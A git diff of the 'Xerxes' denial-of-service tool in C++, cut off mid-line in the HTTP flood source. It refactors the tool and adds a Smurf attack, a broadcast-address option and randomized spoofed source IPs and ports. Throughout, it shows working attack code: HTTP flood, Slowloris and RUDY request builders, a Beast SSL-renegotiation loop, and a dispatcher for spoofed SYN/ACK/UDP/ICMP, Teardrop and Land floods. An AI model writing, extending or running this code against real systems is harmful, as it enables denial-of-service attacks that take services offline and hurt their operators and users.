diff --git a/.travis.yml b/.travis.yml index b9afb8a..2d3237b 100755 --- a/.travis.yml +++ b/.travis.yml @@ -13,7 +13,6 @@ script: make # blocklist branches: except: - - experimental # safelist branches: diff --git a/CMakeLists.txt b/CMakeLists.txt index 286e64d..a7c0126 100755 --- a/CMakeLists.txt +++ b/CMakeLists.txt @@ -2,7 +2,7 @@ cmake_minimum_required(VERSION 2.9) project(Xerxes) -set(CMAKE_CXX_STANDARD 11) +set(CMAKE_CXX_STANDARD 14) find_package(PkgConfig REQUIRED) pkg_search_module(OPENSSL REQUIRED openssl) @@ -14,7 +14,7 @@ endif() set(CMAKE_FIND_LIBRARY_SUFFIXES ".a") set(BUILD_SHARED_LIBRARIES OFF) set(CMAKE_EXE_LINKER_FLAGS "-static -Wl,--whole-archive -lpthread -Wl,--no-whole-archive") -add_executable(Xerxes main.cpp Headers/Configuration.hpp Sources/Doser.cpp Headers/Doser.hpp Sources/Validator.cpp Headers/Validator.hpp Sources/Parser.cpp Headers/Parser.hpp Sources/Logger.cpp Headers/Logger.hpp Sources/ICMP_Flood.cpp Headers/ICMP_Flood.hpp Headers/Attack_Vectors.hpp Headers/Randomizer.hpp Sources/Null_Flood.cpp Headers/Null_Flood.hpp Sources/Slowloris.cpp Headers/Slowloris.hpp Sources/Http_Flood.cpp Headers/Http_Flood.hpp Sources/Spoofed_Flood.cpp Headers/Spoofed_Flood.hpp Sources/Spoofed_TCP_Flood.cpp Headers/Spoofed_TCP_Flood.hpp Sources/Spoofed_UDP_Flood.cpp Headers/Spoofed_UDP_Flood.hpp Sources/Attack_Vector.cpp Headers/Attack_Vector.hpp Headers/Version.hpp Sources/Beast.cpp Headers/Beast.hpp) +add_executable(Xerxes main.cpp Headers/Configuration.hpp Sources/Engine.cpp Headers/Engine.hpp Sources/Validator.cpp Headers/Validator.hpp Sources/Parser.cpp Headers/Parser.hpp Sources/Logger.cpp Headers/Logger.hpp Sources/ICMP_Flood.cpp Headers/ICMP_Flood.hpp Headers/Attack_Vectors.hpp Headers/Randomizer.hpp Sources/Null_Flood.cpp Headers/Null_Flood.hpp Sources/Slowloris.cpp Headers/Slowloris.hpp Sources/Http_Flood.cpp Headers/Http_Flood.hpp Sources/Spoofed_Flood.cpp Headers/Spoofed_Flood.hpp Sources/Spoofed_TCP_Flood.cpp Headers/Spoofed_TCP_Flood.hpp Sources/Spoofed_UDP_Flood.cpp Headers/Spoofed_UDP_Flood.hpp Sources/Attack_Vector.cpp Headers/Attack_Vector.hpp Headers/Version.hpp Sources/Beast.cpp Headers/Beast.hpp) target_link_libraries(Xerxes ${OPENSSL_LIBRARIES}) target_link_libraries(Xerxes ${CMAKE_DL_LIBS}) add_custom_command(TARGET Xerxes POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy ${CMAKE_SOURCE_DIR}/useragents ${CMAKE_CURRENT_BINARY_DIR}/useragents) diff --git a/Headers/Attack_Vector.hpp b/Headers/Attack_Vector.hpp index 7dbd360..044b326 100755 --- a/Headers/Attack_Vector.hpp +++ b/Headers/Attack_Vector.hpp @@ -11,12 +11,12 @@ class Attack_Vector { public: Attack_Vector() = default; - Attack_Vector(const config *conf, Logger *logger); + explicit Attack_Vector(std::shared_ptr config); virtual void run(); + virtual ~Attack_Vector() = default; protected: - const config *conf; - Logger *logger; + std::shared_ptr conf; virtual void pause(); private: diff --git a/Headers/Beast.hpp b/Headers/Beast.hpp index b28dc51..98f0bc2 100755 --- a/Headers/Beast.hpp +++ b/Headers/Beast.hpp @@ -7,7 +7,7 @@ class Beast : public Attack_Vector { public: - Beast(const config *conf, Logger *logger); + explicit Beast(std::shared_ptr conf); private: #define FL_PEER_WANT_NEXT_STATE (0x04) diff --git a/Headers/Configuration.hpp b/Headers/Configuration.hpp index 9f2f86f..4331b29 100755 --- a/Headers/Configuration.hpp +++ b/Headers/Configuration.hpp @@ -3,26 +3,32 @@ #include #include +#include #include "Version.hpp" +#include "Logger.hpp" -struct config{ +struct Config{ enum Vector{NullTCP, NullUDP, TCPFlood, UDPFlood, HTTP, Slowloris, ICMPFlood, SpoofedUDP, SpoofedSyn, SpoofedAck, SpoofedRST, SpoofedPUSH, SpoofedURG, SpoofedFin, Rudy, Blacknurse, - Beast, TearDrop, Land}; - enum Protocol{TCP, UDP}; + Beast, TearDrop, Land, Smurf}; + enum Protocol{TCP = 1, UDP}; Protocol protocol{TCP}; Vector vector{NullTCP}; std::string website{}; std::string port{"1"}; - std::vector useragents{"Wget/1.16 (linux-gnu/Xerxes)"}; + std::string broadcast{}; int THREADS{10}; int CONNECTIONS{25}; bool GetResponse{false}; bool RandomizeUserAgent{false}; bool RandomizeHeader{false}; bool UseSSL{false}; + bool RandomizeSource{false}; + bool RandomizePort{false}; int delay{0}; + const std::unique_ptr logger = std::make_unique(Logger::Warning); + const std::unique_ptr> useragents = std::make_unique>(); }; diff --git a/Headers/Doser.hpp b/Headers/Engine.hpp similarity index 61% rename from Headers/Doser.hpp rename to Headers/Engine.hpp index 72680b6..ea551f6 100755 --- a/Headers/Doser.hpp +++ b/Headers/Engine.hpp @@ -4,14 +4,13 @@ #include "Configuration.hpp" #include "Logger.hpp" -class Doser { +class Engine { public: - Doser(config *conf, Logger *logger); + explicit Engine(std::shared_ptr conf); void run(); private: - config *conf; - Logger *logger; + std::shared_ptr conf; }; diff --git a/Headers/Http_Flood.hpp b/Headers/Http_Flood.hpp index 615f411..4960546 100755 --- a/Headers/Http_Flood.hpp +++ b/Headers/Http_Flood.hpp @@ -13,7 +13,7 @@ class Http_Flood : public Attack_Vector { friend class Null_Flood; public: Http_Flood () = default; - Http_Flood (const config *conf, Logger *logger); + explicit Http_Flood (std::shared_ptr conf); void run() override; private: @@ -29,6 +29,8 @@ class Http_Flood : public Attack_Vector { int write_socket(int socket, const char* string, int length); int write_socket(SSL *ssl, const char* string, int length); const SSL_METHOD *GetMethod(); + virtual void init_header(std::string& header); + virtual void init_header(std::string& header, bool); }; diff --git a/Headers/ICMP_Flood.hpp b/Headers/ICMP_Flood.hpp index 3f7fe46..5ca20ea 100755 --- a/Headers/ICMP_Flood.hpp +++ b/Headers/ICMP_Flood.hpp @@ -5,7 +5,7 @@ class ICMP_Flood : public Spoofed_Flood { public: - ICMP_Flood(const config *conf, Logger *logger); + explicit ICMP_Flood(std::shared_ptr conf); private: void attack(const int *id) override; diff --git a/Headers/Null_Flood.hpp b/Headers/Null_Flood.hpp index c4bafbe..fe1517d 100755 --- a/Headers/Null_Flood.hpp +++ b/Headers/Null_Flood.hpp @@ -7,7 +7,7 @@ class Null_Flood : public Http_Flood { public: - Null_Flood(const config *conf, Logger *logger); + explicit Null_Flood(std::shared_ptr conf); private: void attack(const int *id) override; diff --git a/Headers/Parser.hpp b/Headers/Parser.hpp index d61c854..865bdfa 100755 --- a/Headers/Parser.hpp +++ b/Headers/Parser.hpp @@ -1,23 +1,29 @@ #ifndef XERXES_PARSER_H #define XERXES_PARSER_H +#include +#include +#include +#include + #include "Configuration.hpp" -#include "Doser.hpp" +#include "Engine.hpp" #include "Validator.hpp" class Parser { public: void parse_commandline(int argc, const char *argv[]); Parser(); - Parser(config *conf, Logger *logger); + explicit Parser(std::shared_ptr conf); static void help(); static void show_banner(); private: - config *conf; - Logger *logger; - void getUserAgents(); + std::shared_ptr conf; void check_root(); + void getUserAgents(); + void init_arguments(); + std::map> arguments; }; diff --git a/Headers/README.md b/Headers/README.md new file mode 100644 index 0000000..ff223aa --- /dev/null +++ b/Headers/README.md @@ -0,0 +1,6 @@ + + +# Xerxes +Xerxes Dos Tool Rewritten in C++ + +This Directory contains of all header files for Xerxes Project \ No newline at end of file diff --git a/Headers/Randomizer.hpp b/Headers/Randomizer.hpp index 6ed9718..e00a4ec 100755 --- a/Headers/Randomizer.hpp +++ b/Headers/Randomizer.hpp @@ -44,91 +44,41 @@ namespace Randomizer{ return vec[randomInt(0, static_cast(vec.size()) -1)]; } - static const std::string randomPacket(const config *conf, bool keep_alive=false){ - std::string packet{}; - std::vector encoding{"\'\'", "*", "identity", "gzip", "deflate"}; - std::vector caching{"no-cache", "max-age=0"}; - std::vector charset{"ISO-8859-1", "utf-8", "Windows-1251", "ISO-8859-2", "ISO-8859-15"}; - std::vector contenttype{"multipart/form-data", "application/x-url-encoded"}; - std::vector methods{"GET", "HEAD"}; - std::vector referer{"https://www.google.com/", "https://www.yahoo.com/", "https://www.bing.com/", - "https://twitter.com/", "https://www.facebook.com/", "https://www.msn.com/", - "https://www.youtube.com/", "https://yandex.com/", "https://www.amazon.com/"}; - switch(conf->vector){ - case config::UDPFlood: - case config::TCPFlood: - return randomstr(); - case config::HTTP:{ - packet += randomize_Vector(methods) + " /"; - if(conf->RandomizeHeader){ - packet += randomstr(); - } - packet += " HTTP/1.0\r\nUser-Agent: " - + (conf->RandomizeUserAgent ? randomize_Vector(conf->useragents): conf->useragents[0]) - +" \r\nCache-Control: " + randomize_Vector(caching) - + " \r\nAccept-Encoding: " + randomize_Vector(encoding) - + " \r\nAccept-Charset: " + randomize_Vector(charset) + ", " + randomize_Vector(charset) - + " \r\nReferer: " + randomize_Vector(referer) - + " \r\nAccept: */*\r\nConnection: Keep-Alive" - + " \r\nContent-Type: " + randomize_Vector(contenttype) - + " \r\nCookie: " + randomstr() + "=" + randomstr() - + " \r\nKeep-Alive: " + std::to_string(randomInt(1, 5000)) - + " \r\nDNT: " + std::to_string(randomInt(0, 1)) - + "\r\n\r\n"; - return packet; - } - case config::Slowloris:{ - if(keep_alive){ - packet += "X-a: " - + std::to_string(randomInt(1, 5000)) - + " \r\n"; - }else{ - packet += randomize_Vector(methods) + " /"; - if(conf->RandomizeHeader){ - packet += randomstr(); - } - packet += " HTTP/1.0\r\nUser-Agent: " - + (conf->RandomizeUserAgent ? randomize_Vector(conf->useragents): conf->useragents[0]) - + " \r\nCache-Control: " + randomize_Vector(caching) - + " \r\nAccept-Encoding: " + randomize_Vector(encoding) - + " \r\nAccept-Charset: " + randomize_Vector(charset) + ", " + randomize_Vector(charset) - + " \r\nReferer: " + randomize_Vector(referer) - + " \r\nContent-Type: " + randomize_Vector(contenttype) - + " \r\nCookie: " + randomstr() + "=" + randomstr() - + " \r\nAccept: */*" - + " \r\nDNT: " + std::to_string(randomInt(0, 1)) - + " \r\nX-a: " + std::to_string(randomInt(1, 5000)) - + " \r\n"; - } - return packet; - } - case config::Rudy:{ - if(keep_alive){ - packet += randomstr(); - }else{ - packet += "POST /"; - if(conf->RandomizeHeader){ - packet += randomstr(); - } - packet += " HTTP/1.0\r\nUser-Agent: " - + (conf->RandomizeUserAgent ? randomize_Vector(conf->useragents): conf->useragents[0]) - + " \r\nCache-Control: " + randomize_Vector(caching) - + " \r\nAccept-Encoding: " + randomize_Vector(encoding) - + " \r\nAccept-Charset: " + randomize_Vector(charset) + ", " + randomize_Vector(charset) - + " \r\nReferer: " + randomize_Vector(referer) - + " \r\nContent-Type: " + randomize_Vector(contenttype) - + " \r\nContent-Length: " + std::to_string(randomInt(100000000, 1000000000)) - + " \r\nCookie: " + randomstr() + "=" + randomstr() - + " \r\nAccept: */*" - + " \r\nDNT: " + std::to_string(randomInt(0, 1)) - + " \r\nX-a: " + std::to_string(randomInt(1, 5000)) - + " \r\n"; - } - return packet; - } - default: - return ""; - } + static const std::string random_referer(){ + static std::vector referer{ + "https://www.google.com/", "https://www.yahoo.com/", "https://www.bing.com/", + "https://twitter.com/", "https://www.facebook.com/", "https://www.msn.com/", + "https://www.youtube.com/", "https://yandex.com/", "https://www.amazon.com/"}; + return randomize_Vector(referer); + } + + static const std::string random_useragent(const std::vector &useragents){ + return randomize_Vector(useragents); + } + + static const std::string random_encoding(){ + static std::vector encoding{"\'\'", "*", "identity", "gzip", "deflate"}; + return randomize_Vector(encoding); + } + + static const std::string random_caching(){ + static std::vector caching{"no-cache", "max-age=0"}; + return randomize_Vector(caching); + } + + static const std::string random_charset(){ + static std::vector charset{"ISO-8859-1", "utf-8", "Windows-1251", "ISO-8859-2", "ISO-8859-15"}; + return randomize_Vector(charset); + } + + static const std::string random_contenttype(){ + static std::vector contenttype{"multipart/form-data", "application/x-url-encoded"}; + return randomize_Vector(contenttype); + } + + static const std::string random_method(){ + static std::vector methods{"GET", "HEAD"}; + return randomize_Vector(methods); } } diff --git a/Headers/Slowloris.hpp b/Headers/Slowloris.hpp index fa6d2ac..009a7e0 100755 --- a/Headers/Slowloris.hpp +++ b/Headers/Slowloris.hpp @@ -8,11 +8,12 @@ class Slowloris : public Http_Flood { public: - Slowloris(const config *conf, Logger *logger); + explicit Slowloris(std::shared_ptr conf); private: void attack(const int *id) override; void attack_ssl(const int *id) override; + void init_header(std::string& header, bool keep_alive) override; }; diff --git a/Headers/Spoofed_Flood.hpp b/Headers/Spoofed_Flood.hpp index bbcfc1c..fb4eae6 100755 --- a/Headers/Spoofed_Flood.hpp +++ b/Headers/Spoofed_Flood.hpp @@ -18,7 +18,7 @@ class Spoofed_Flood : public Attack_Vector { public: Spoofed_Flood() = default; - Spoofed_Flood(const config *conf, Logger *logger); + explicit Spoofed_Flood(std::shared_ptr conf); private: unsigned short csum(unsigned short *buf, int len); diff --git a/Headers/Spoofed_TCP_Flood.hpp b/Headers/Spoofed_TCP_Flood.hpp index 936631c..9e0a30f 100755 --- a/Headers/Spoofed_TCP_Flood.hpp +++ b/Headers/Spoofed_TCP_Flood.hpp @@ -5,7 +5,7 @@ class Spoofed_TCP_Flood : public Spoofed_Flood { public: - Spoofed_TCP_Flood(const config *conf, Logger *logger); + explicit Spoofed_TCP_Flood(std::shared_ptr conf); private: void attack(const int *id) override; diff --git a/Headers/Spoofed_UDP_Flood.hpp b/Headers/Spoofed_UDP_Flood.hpp index 35105e4..409ef0c 100755 --- a/Headers/Spoofed_UDP_Flood.hpp +++ b/Headers/Spoofed_UDP_Flood.hpp @@ -5,7 +5,7 @@ class Spoofed_UDP_Flood : public Spoofed_Flood { public: - Spoofed_UDP_Flood(const config *conf, Logger *logger); + explicit Spoofed_UDP_Flood(std::shared_ptr conf); private: void attack(const int *id) override; diff --git a/Headers/Validator.hpp b/Headers/Validator.hpp index e05fc7e..c4a7436 100755 --- a/Headers/Validator.hpp +++ b/Headers/Validator.hpp @@ -7,15 +7,16 @@ class Validator { public: Validator(); - explicit Validator(const config *conf); + explicit Validator(std::shared_ptr conf); bool Validate(); static bool isValidNumber(char const *num); private: - const config *conf; + std::shared_ptr conf; bool isValidWebsite(); bool isValidPort(); bool isValidConfig(); bool isValidHostname(); + bool isValidBroadcast(); }; diff --git a/Headers/Version.hpp b/Headers/Version.hpp index f8b6b1c..a069db3 100755 --- a/Headers/Version.hpp +++ b/Headers/Version.hpp @@ -3,7 +3,7 @@ #define VERSION_MAJOR 1 -#define VERSION_MINOR 2 +#define VERSION_MINOR 3 #define BUILD_YEAR_CH0 (__DATE__[ 7]) diff --git a/README.md b/README.md index c9ab353..df37a4a 100755 --- a/README.md +++ b/README.md @@ -1,8 +1,8 @@ -# Xerxes +# Xerxes - Experimental -[![Build Status](https://travis-ci.org/sepehrdaddev/Xerxes.svg?branch=master)](https://travis-ci.org/sepehrdaddev/Xerxes) +[![Build Status](https://travis-ci.org/sepehrdaddev/Xerxes.svg?branch=experimental)](https://travis-ci.org/sepehrdaddev/Xerxes) [![License: GPL v3](https://img.shields.io/badge/License-GPL%20v3-blue.svg)](https://www.gnu.org/licenses/gpl-3.0) Xerxes Dos Tool Rewritten in C++ @@ -40,10 +40,13 @@ Options:\      -sf     set attack vector to Spoofed Fin Flood\      -td     set attack vector to Teardrop\      -ld     set attack vector to Land\ +     -sm     set attack vector to Smurf\      -ss     enable SSL\      -w      wait for response\      -rh     randomize HTTP Header\      -ru     randomize HTTP UserAgent\ +     -rs     randomize Source IP\ +     -rp     randomize Source Port\      -qq     set verbosity to quiet quiet\      -q      set verbosity to quiet\      -v      set verbosity to verbose\ @@ -51,6 +54,7 @@ Options:\      -D      set delay in microseconds\      -T      set number of threads\      -C      set number of connections per thread\ +     -B      set broadcast address\      -target   set host ip or url\      -port    set target port number\      -help    show help\ diff --git a/Sources/Attack_Vector.cpp b/Sources/Attack_Vector.cpp index 89f3ead..3187edd 100755 --- a/Sources/Attack_Vector.cpp +++ b/Sources/Attack_Vector.cpp @@ -1,9 +1,8 @@ #include - +#include #include "../Headers/Attack_Vector.hpp" -Attack_Vector::Attack_Vector(const config *conf, Logger *logger) : conf{conf}, logger{logger}{ - +Attack_Vector::Attack_Vector(std::shared_ptr conf) : conf{std::move(conf)}{ } void Attack_Vector::run() { diff --git a/Sources/Beast.cpp b/Sources/Beast.cpp index 09ca813..3bb0019 100755 --- a/Sources/Beast.cpp +++ b/Sources/Beast.cpp @@ -2,11 +2,12 @@ #include #include #include +#include #include #include "../Headers/Beast.hpp" -Beast::Beast(const config *conf, Logger *logger) : Attack_Vector(conf, logger) { +Beast::Beast(std::shared_ptr conf) : Attack_Vector(std::move(conf)) { } @@ -34,7 +35,7 @@ void Beast::attack(const int *id) { } } if(n < 0){ - logger->Log("Select()", Logger::Error); + conf->logger->Log("Select()", Logger::Error); exit(EXIT_FAILURE); } int end = opt.n_peers; @@ -42,7 +43,7 @@ void Beast::attack(const int *id) { if((peers[i].state == TCP_CONNECTING) && (peers[i].tv_connect_sec + TO_TCP_CONNECT < tv.tv_sec)){ message = "Connection timed out: "; message += std::to_string(i); - logger->Log(&message, Logger::Warning); + conf->logger->Log(&message, Logger::Warning); PEER_disconnect(&peers[i]); continue; } @@ -59,7 +60,7 @@ void Beast::attack(const int *id) { } } message = std::to_string(*id) + ": Voly Sent"; - logger->Log(&message, Logger::Info); + conf->logger->Log(&message, Logger::Info); pause(); } @@ -98,7 +99,7 @@ void Beast::SSL_set_rw(_peer *p, int ret) { break; default: if(opt.stat.total_ssl_connect <= 0){ - logger->Log("Ssl error", Logger::Error); + conf->logger->Log("Ssl error", Logger::Error); exit(EXIT_FAILURE); } opt.stat.error_count++; @@ -132,7 +133,7 @@ int Beast::ssl_handshake_io(_peer *p) { int err = SSL_get_error(p->ssl, ret); if((err != SSL_ERROR_WANT_READ) && (err != SSL_ERROR_WANT_WRITE)){ if(opt.stat.total_renegotiations <= 0){ - logger->Log("Renegotiations error", Logger::Error); + conf->logger->Log("Renegotiations error", Logger::Error); exit(EXIT_FAILURE); } } @@ -190,7 +191,7 @@ void Beast::PEER_SSL_connect(_peer *p) { void Beast::PEER_connect(_peer *p) { if (tcp_connect(p) != 0){ - logger->Log("Tcp_connect()", Logger::Error); + conf->logger->Log("Tcp_connect()", Logger::Error); exit(EXIT_FAILURE); } } @@ -231,7 +232,7 @@ int Beast::tcp_connect_try_finish(_peer *p, int ret) { if(ret != 0){ if((errno != EINPROGRESS) && (errno != EAGAIN)){ if(opt.stat.total_tcp_connections <= 0){ - logger->Log("Tcp connect", Logger::Error); + conf->logger->Log("Tcp connect", Logger::Error); exit(EXIT_FAILURE); } return -1; @@ -297,7 +298,7 @@ void Beast::CompleteState(_peer *p) { }else{ if(opt.n_peers < opt.n_max_peers){ if(peers[opt.n_peers].state != UNKNOWN){ - logger->Log("Tnternal error", Logger::Error); + conf->logger->Log("Tnternal error", Logger::Error); exit(EXIT_FAILURE); } PEER_disconnect(&peers[opt.n_peers]); @@ -308,7 +309,7 @@ void Beast::CompleteState(_peer *p) { case SSL_CONNECTING: ret = ssl_connect_io(p); if(ret != 0){ - logger->Log("Ssl_connect_io()", Logger::Error); + conf->logger->Log("Ssl_connect_io()", Logger::Error); exit(EXIT_FAILURE); } break; @@ -327,7 +328,7 @@ void Beast::CompleteState(_peer *p) { } break; default: - logger->Log("Unknown state", Logger::Error); + conf->logger->Log("Unknown state", Logger::Error); exit(EXIT_FAILURE); } } diff --git a/Sources/Doser.cpp b/Sources/Doser.cpp deleted file mode 100755 index 754e35c..0000000 --- a/Sources/Doser.cpp +++ /dev/null @@ -1,112 +0,0 @@ -#include -#include - -#include "../Headers/Doser.hpp" -#include "../Headers/Attack_Vectors.hpp" - -void Doser::run() { - Attack_Vector *flood = nullptr; - std::string message = std::string("Attacking ") + conf->website + ":" + conf->port + " with " - + std::to_string(conf->THREADS) + " Threads, " - + std::to_string(conf->CONNECTIONS) + " Connections"; - logger->Log(&message, Logger::Warning); - message = "Delay: " + std::to_string(conf->delay) + " microsecs"; - logger->Log(&message, Logger::Warning); - - switch(conf->vector){ - case config::HTTP: - logger->Log("Attack Vector: HTTP", Logger::Info); - flood = new Http_Flood{conf, logger}; - break; - case config::NullTCP: - logger->Log("Attack Vector: NullTCP", Logger::Info); - flood = new Null_Flood{conf, logger}; - break; - case config::NullUDP: - logger->Log("Attack Vector: NullUDP", Logger::Info); - flood = new Null_Flood{conf, logger}; - break; - case config::UDPFlood: - logger->Log("Attack Vector: UDPFlood", Logger::Info); - flood = new Http_Flood{conf, logger}; - break; - case config::TCPFlood: - logger->Log("Attack Vector: TCPFlood", Logger::Info); - flood = new Http_Flood{conf, logger}; - break; - case config::Slowloris: - logger->Log("Attack Vector: Slowloris", Logger::Info); - flood = new Slowloris{conf, logger}; - break; - case config::Rudy: - logger->Log("Attack Vector: Rudy", Logger::Info); - flood = new Slowloris{conf, logger}; - break; - case config::ICMPFlood: - logger->Log("Attack Vector: ICMP Flood", Logger::Info); - flood = new ICMP_Flood{conf, logger}; - break; - case config::Blacknurse: - logger->Log("Attack Vector: Black Nurse", Logger::Info); - flood = new ICMP_Flood{conf, logger}; - break; - case config::SpoofedSyn: - logger->Log("Attack Vector: Spoofed Syn Flood", Logger::Info); - flood = new Spoofed_TCP_Flood{conf, logger}; - break; - case config::SpoofedAck: - logger->Log("Attack Vector: Spoofed Ack Flood", Logger::Info); - flood = new Spoofed_TCP_Flood{conf, logger}; - break; - case config::SpoofedRST: - logger->Log("Attack Vector: Spoofed Rst Flood", Logger::Info); - flood = new Spoofed_TCP_Flood{conf, logger}; - break; - case config::SpoofedURG: - logger->Log("Attack Vector: Spoofed Urg Flood", Logger::Info); - flood = new Spoofed_TCP_Flood{conf, logger}; - break; - case config::SpoofedPUSH: - logger->Log("Attack Vector: Spoofed Push Flood", Logger::Info); - flood = new Spoofed_TCP_Flood{conf, logger}; - break; - case config::SpoofedFin: - logger->Log("Attack Vector: Spoofed Fin Flood", Logger::Info); - flood = new Spoofed_TCP_Flood{conf, logger}; - break; - case config::SpoofedUDP: - logger->Log("Attack Vector: Spoofed UDP", Logger::Info); - flood = new Spoofed_UDP_Flood{conf, logger}; - break; - case config::Beast: - logger->Log("Attack Vector: Beast", Logger::Info); - flood = new Beast{conf, logger}; - break; - case config::TearDrop: - logger->Log("Attack Vector: Teardrop", Logger::Info); - flood = new Spoofed_UDP_Flood{conf, logger}; - break; - case config::Land: - logger->Log("Attack Vector: Land", Logger::Info); - flood = new Spoofed_TCP_Flood{conf, logger}; - break; - default:break; - } - if(conf->UseSSL){ - logger->Log("SSL Enabled", Logger::Info); - } - if(conf->RandomizeHeader){ - logger->Log("Header Randomization Enabled", Logger::Info); - } - if(conf->RandomizeUserAgent){ - logger->Log("Useragent Randomization Enabled", Logger::Info); - } - logger->Log("Press to stop\n", Logger::Info); - usleep(1000000); - - flood->run(); -} - -Doser::Doser(config *conf, Logger *logger) : conf{conf}, logger{logger} { - -} diff --git a/Sources/Engine.cpp b/Sources/Engine.cpp new file mode 100755 index 0000000..4329c4a --- /dev/null +++ b/Sources/Engine.cpp @@ -0,0 +1,117 @@ +#include +#include +#include +#include +#include "../Headers/Engine.hpp" +#include "../Headers/Attack_Vectors.hpp" + +void Engine::run() { + std::unique_ptr flood; + std::string message = std::string("Attacking ") + conf->website + ":" + conf->port + " with " + + std::to_string(conf->THREADS) + " Threads, " + + std::to_string(conf->CONNECTIONS) + " Connections"; + conf->logger->Log(&message, Logger::Warning); + message = "Delay: " + std::to_string(conf->delay) + " microsecs"; + conf->logger->Log(&message, Logger::Warning); + + switch(conf->vector){ + case Config::HTTP: + conf->logger->Log("Attack Vector: HTTP", Logger::Info); + flood = std::make_unique(conf); + break; + case Config::NullTCP: + conf->logger->Log("Attack Vector: NullTCP", Logger::Info); + flood = std::make_unique(conf); + break; + case Config::NullUDP: + conf->logger->Log("Attack Vector: NullUDP", Logger::Info); + flood = std::make_unique(conf); + break; + case Config::UDPFlood: + conf->logger->Log("Attack Vector: UDPFlood", Logger::Info); + flood = std::make_unique(conf); + break; + case Config::TCPFlood: + conf->logger->Log("Attack Vector: TCPFlood", Logger::Info); + flood = std::make_unique(conf); + break; + case Config::Slowloris: + conf->logger->Log("Attack Vector: Slowloris", Logger::Info); + flood = std::make_unique(conf); + break; + case Config::Rudy: + conf->logger->Log("Attack Vector: Rudy", Logger::Info); + flood = std::make_unique(conf); + break; + case Config::ICMPFlood: + conf->logger->Log("Attack Vector: ICMP Flood", Logger::Info); + flood = std::make_unique(conf); + break; + case Config::Blacknurse: + conf->logger->Log("Attack Vector: Black Nurse", Logger::Info); + flood = std::make_unique(conf); + break; + case Config::SpoofedSyn: + conf->logger->Log("Attack Vector: Spoofed Syn Flood", Logger::Info); + flood = std::make_unique(conf); + break; + case Config::SpoofedAck: + conf->logger->Log("Attack Vector: Spoofed Ack Flood", Logger::Info); + flood = std::make_unique(conf); + break; + case Config::SpoofedRST: + conf->logger->Log("Attack Vector: Spoofed Rst Flood", Logger::Info); + flood = std::make_unique(conf); + break; + case Config::SpoofedURG: + conf->logger->Log("Attack Vector: Spoofed Urg Flood", Logger::Info); + flood = std::make_unique(conf); + break; + case Config::SpoofedPUSH: + conf->logger->Log("Attack Vector: Spoofed Push Flood", Logger::Info); + flood = std::make_unique(conf); + break; + case Config::SpoofedFin: + conf->logger->Log("Attack Vector: Spoofed Fin Flood", Logger::Info); + flood = std::make_unique(conf); + break; + case Config::SpoofedUDP: + conf->logger->Log("Attack Vector: Spoofed UDP", Logger::Info); + flood = std::make_unique(conf); + break; + case Config::Beast: + conf->logger->Log("Attack Vector: Beast", Logger::Info); + flood = std::make_unique(conf); + break; + case Config::TearDrop: + conf->logger->Log("Attack Vector: Teardrop", Logger::Info); + flood = std::make_unique(conf); + break; + case Config::Land: + conf->logger->Log("Attack Vector: Land", Logger::Info); + flood = std::make_unique(conf); + break; + case Config::Smurf:{ + conf->logger->Log("Attack Vector: Smurf", Logger::Info); + flood = std::make_unique(conf); + break; + } + default:break; + } + if(conf->UseSSL){ + conf->logger->Log("SSL Enabled", Logger::Info); + } + if(conf->RandomizeHeader){ + conf->logger->Log("Header Randomization Enabled", Logger::Info); + } + if(conf->RandomizeUserAgent){ + conf->logger->Log("Useragent Randomization Enabled", Logger::Info); + } + conf->logger->Log("Press to stop\n", Logger::Info); + usleep(1000000); + flood->run(); +} + +Engine::Engine(std::shared_ptr conf) : conf{std::move(conf)}{ + +} diff --git a/Sources/Http_Flood.cpp b/Sources/Http_Flood.cpp index a7dcef1..59e1c46 100755 --- a/Sources/Http_Flood.cpp +++ b/Sources/Http_Flood.cpp @@ -1,12 +1,13 @@ #include #include +#include #include #include #include "../Headers/Http_Flood.hpp" -Http_Flood::Http_Flood(const config *conf, Logger *logger) : Attack_Vector(conf, logger){ +Http_Flood::Http_Flood(std::shared_ptr conf) : Attack_Vector(std::move(conf)){ } @@ -27,13 +28,13 @@ int Http_Flood::make_socket(const char *host, const char *port, int sock_type) { struct addrinfo hints{}, *servinfo, *p; int sock = 0, r; std::string message = std::string("Connecting-> ") + host + ":" + port; - logger->Log(&message, Logger::Info); + conf->logger->Log(&message, Logger::Info); bzero(&hints, sizeof(hints)); hints.ai_family = AF_UNSPEC; hints.ai_socktype = sock_type; if((r=getaddrinfo(host, port, &hints, &servinfo))!=0) { message = std::string("Getaddrinfo-> ") + gai_strerror(r); - logger->Log(&message, Logger::Error); + conf->logger->Log(&message, Logger::Error); exit(EXIT_FAILURE); } for(p = servinfo; p != nullptr; p = p->ai_next) { @@ -50,14 +51,14 @@ int Http_Flood::make_socket(const char *host, const char *port, int sock_type) { if(servinfo){ freeaddrinfo(servinfo); } - logger->Log("No connection could be made", Logger::Error); + conf->logger->Log("No connection could be made", Logger::Error); exit(EXIT_FAILURE); } if(servinfo){ freeaddrinfo(servinfo); } message = std::string("Connected-> ") + host + ":" + port; - logger->Log(&message, Logger::Info); + conf->logger->Log(&message, Logger::Info); return sock; } @@ -67,7 +68,7 @@ SSL_CTX *Http_Flood::InitCTX() { SSL_CTX *ctx; ctx = SSL_CTX_new(method); if (ctx == nullptr){ - logger->Log("Unable to connect using ssl", Logger::Error); + conf->logger->Log("Unable to connect using ssl", Logger::Error); exit(EXIT_FAILURE); } return ctx; @@ -77,7 +78,7 @@ SSL *Http_Flood::Apply_SSL(int socket, SSL_CTX *ctx) { SSL *ssl = SSL_new(ctx); SSL_set_fd(ssl, socket); if(SSL_connect(ssl) == -1){ - logger->Log("Unable to connect using ssl", Logger::Error); + conf->logger->Log("Unable to connect using ssl", Logger::Error); exit(EXIT_FAILURE); } return ssl; @@ -118,32 +119,34 @@ int Http_Flood::write_socket(SSL *ssl, const char *string, int length) { void Http_Flood::attack(const int *id) { int r; std::vector sockets; + sockets.reserve(static_cast(conf->CONNECTIONS)); for (int x = 0; x < conf->CONNECTIONS; x++) { - sockets.push_back(0); + sockets.emplace_back(0); } while(true) { static std::string message; for (int x = 0; x < conf->CONNECTIONS; x++) { if(!sockets[x]){ - sockets[x] = make_socket(conf->website.c_str(), conf->port.c_str(), SOCK_STREAM); + sockets[x] = make_socket(conf->website.c_str(), conf->port.c_str(), conf->protocol); } - const std::string &packet = Randomizer::randomPacket(conf); - if((r = write_socket(sockets[x], packet.c_str(), packet.length())) == -1){ + std::string header{}; + init_header(header); + if((r = write_socket(sockets[x], header.c_str(), header.length())) == -1){ cleanup(&sockets[x]); - sockets[x] = 